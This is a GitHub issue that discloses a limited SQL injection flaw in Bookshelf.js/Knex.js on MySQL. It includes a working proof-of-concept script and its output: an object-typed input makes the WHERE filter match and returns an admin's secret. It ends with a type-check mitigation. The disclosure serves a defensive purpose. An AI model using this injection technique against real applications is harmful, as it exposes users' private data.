Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Limited SQL Injection Vulnerability in Bookshelf.js #2122

Open
Ccamm opened this issue Nov 25, 2022 · 0 comments
Open

Limited SQL Injection Vulnerability in Bookshelf.js #2122

Ccamm opened this issue Nov 25, 2022 · 0 comments

Comments

@Ccamm
Copy link

Ccamm commented Nov 25, 2022

Issue Description

Bookshelf.js does not properly sanitise user inputs that are either an Object or Array type. If MySQL is used as the backend DBMS, the resulting query that is built using Knex.js is a valid SQL query, but the MySQL server may ignore filters in the WHERE clause. Depending on how developers use Bookshelf.js, this can lead to sensitive information disclosure.

For further details about the vulnerability I wrote an article about the limited SQLi vulnerability in Knex.js that makes Bookshelf.js vulnerable.

Proof of Concept (PoC)

To confirm the vulnerability, I created a MySQL database with a users table with the following rows.

name secret
admin you should not be able to return this!
guest hello world

Then let's imagine a web application that allows querying with the secret column as a filter. The goal is to dump the value of the secret column for the admin user, without knowing the value. The following PoC (an input of {"name": "admin"}) builds a valid query that is processed by the MySQL server and dumps the admins secret.

const knex = require('knex')({
    client: 'mysql2',
    connection: {
        host: '127.0.0.1',
        user: 'root',
        password: 'topsecret',
        database: 'testdb',
        charset: 'utf8'
    }
})

knex.schema.hasTable('users').then((exists) => {
    if (!exists) {
        knex.schema.createTable('users', (table) => {
            table.increments('id').primary()
            table.string('name').notNullable()
            table.string('secret').notNullable()
        }).then()
        knex('users').insert({
            name: "admin",
            secret: "you should not be able to return this!"
        }).then()
        knex('users').insert({
            name: "guest",
            secret: "hello world"
        }).then()
    }
})

const bookshelf = require('bookshelf')(knex)

const User = bookshelf.model('User', {
    tableName: 'users'
})

attackerControlled = {"name": "admin"}

new User({secret: attackerControlled}).fetch().then((user) => {
    console.log(user)
})

Output from running the above script

ModelBase {
  attributes: [Object: null prototype] {
    secret: 'you should not be able to return this!',
    id: 1,
    name: 'admin'
  },
  _previousAttributes: {
    secret: 'you should not be able to return this!',
    id: 1,
    name: 'admin'
  },
  changed: [Object: null prototype] {},
  relations: {},
  cid: 'c1',
  _knex: null,
  id: 1
}

Recommendation to Fix

The vulnerability is primarily caused by Knex.js not securely handling inputs into the WHERE clause. However, ORMs should also sanitise user inputs.

I understand this project is no longer being maintained, but it is still widely used across a lot applications. If you are using Bookshelf.js (or Knex.js) you need to implement input sanitisation before using those packages. A simple fix would be to reject all object type inputs by using the typeof JavaScript operator as shown below.

const allowedTypes = [
    "number",
    "string",
    "boolean"
]

if (!allowedTypes.includes(typeof userInput)) {
    return "Bugger off hacker!"
}

If you have any other solutions for fixing this vulnerability until a patch for Knex.js has been released, feel free to update this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant